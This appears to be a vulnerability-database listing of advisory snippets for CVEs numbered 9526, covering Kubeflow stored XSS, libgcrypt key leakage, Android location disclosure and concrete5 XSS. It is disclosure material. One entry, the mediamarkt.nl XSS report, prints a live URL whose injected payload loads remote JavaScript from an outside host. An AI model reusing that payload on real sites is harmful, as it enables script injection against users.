CVE-2024-9526

creationtimestamp| type| source ---|---|--- 2024-11-18 13:36:36+00:00| seen| https://infosec.exchange/users/cve/statuses/113504222958844877 2024-11-18 15:42:50+00:00| seen| https://t.me/cvedetector/11337...

CVE-2024-9526 Stored XSS in Kubeflow Pipeline View

There exists a stored XSS Vulnerability in Kubeflow Pipeline View web UI. The Kubeflow Web UI allows to create new pipelines. When creating a new pipeline, it is possible to add a description. The description field allows html tags, which are not filtered properly. Leading to a stored XSS. We...

CGA-8PH8-2PH8-9526

Bulletin has no description...

CVE-2015-9526

creationtimestamp| type| source ---|---|--- 2024-01-17 18:42:10+00:00| seen| https://t.me/ctinow/169416...

Oracle Linux 7 : olcne (ELSA-2021-9526)

The remote Oracle Linux 7 host has packages installed that are affected by multiple vulnerabilities as referenced in the ELSA-2021-9526 advisory. - Update Kubernetes version to 1.20.11 to address CVE-2021-25741 - Update Istio to 1.9.8, 1.10.4 to address CVE-2021-32777, CVE-2021-32778,...

CVE-2020-9526

Technical details about CVE-2020-9526 are not publicly available in the provided documents. Monitor for updates from vendors and vulnerability databases.

CVE-2015-9526

The CVE refers to WordPress Easy Digital Downloads (EDD) Reviews extension. Vulnerable components are the EDD Reviews extension across multiple tracked versions (EDD 1.8.x before 1.8.7; 1.9.x before 1.9.10; 2.0.x before 2.0.5; 2.1.x before 2.1.11; 2.2.x before 2.2.9; 2.3.x before 2.3.7) due to mi...

CVE-2018-9526

In device configuration data, there is an improperly configured setting. This could lead to remote disclosure of device location. User interaction is not needed for exploitation. Product: Android. Versions: Android-9. Android ID: A-112159033...

CVE-2018-9526

CVE-2018-9526 is a Framework information-disclosure issue affecting Android 7.0–9.x (patch levels 2019-06-01/2019-06-05). The root cause is an improperly configured setting in device configuration data that could allow remote disclosure of the device location without user interaction. The Android...

Ubuntu: Security Advisory (USN-3347-1)

The remote host is missing an update for the SPDX-FileCopyrightText: 2017 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

openSUSE Security Update : libgcrypt (openSUSE-2017-743)

This update for libgcrypt fixes the following issues : - CVE-2017-9526: Store the session key in secure memory to ensure that constant time point operations are used in the MPI library. bsc1042326 - Don't require secure memory for the fips selftests, this prevents the 'Oops, secure memory pool...

SUSE SLED12 / SLES12 Security Update : libgcrypt (SUSE-SU-2017:1608-1)

This update for libgcrypt fixes the following issues : - CVE-2017-9526: Store the session key in secure memory to ensure that constant time point operations are used in the MPI library. bsc1042326 - Don't require secure memory for the fips selftests, this prevents the 'Oops, secure memory pool...

[SECURITY] [DSA 3880-1] libgcrypt20 security update

------------------------------------------------------------------------- Debian Security Advisory DSA-3880-1 [email protected] https://www.debian.org/security/ Salvatore Bonaccorso June 14, 2017 https://www.debian.org/security/faq -...

BELL-CVE-2017-9526 CVE-2017-9526 does not affect BellSoft software

Bulletin has no description...

CVE-2017-9526

CVE-2017-9526 affects Libgcrypt prior to 1.7.7, where an attacker who observes the EdDSA session key during signing can recover the long-term secret key. Version 1.7.7 changes libgcrypt/ ecc-eddsa.c to store the session key in secure memory and ensures constant-time point operations in the MPI li...

CVE-2016-9526

...

CVE-2016-9526

CVE-2016-9526 is rejected/not used per the Initial Description.

mediamarkt.nl XSS vulnerability

Vulnerable URL: http://www.mediamarkt.nl/nl/search.html?storeId=48353=-3=onlineshop=mmdede===test%27;mcs.jQuery.getScript%22//loshackers.de/a.js%22;%27a%27:%27b Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:|...

CVE-2014-9526

Multiple cross-site scripting XSS vulnerabilities in concrete5 5.7.2.1, 5.7.2, and earlier allow remote attackers to inject arbitrary web script or HTML via the 1 gName parameter in singlepages/dashboard/users/groups/bulkupdate.php or 2 instanceid parameter in tools/dashboard/sitemapdragrequest.p...

CVE-2014-9526

Summary: CVE-2014-9526 affects concrete5 up to version 5.7.2.1 (and 5.7.2 and earlier) with multiple cross-site scripting (XSS) flaws. The vulnerabilities arise from insufficient sanitization of user input in two endpoints: (1) gName parameter in single_pages/dashboard/users/groups/bulkupdate.php...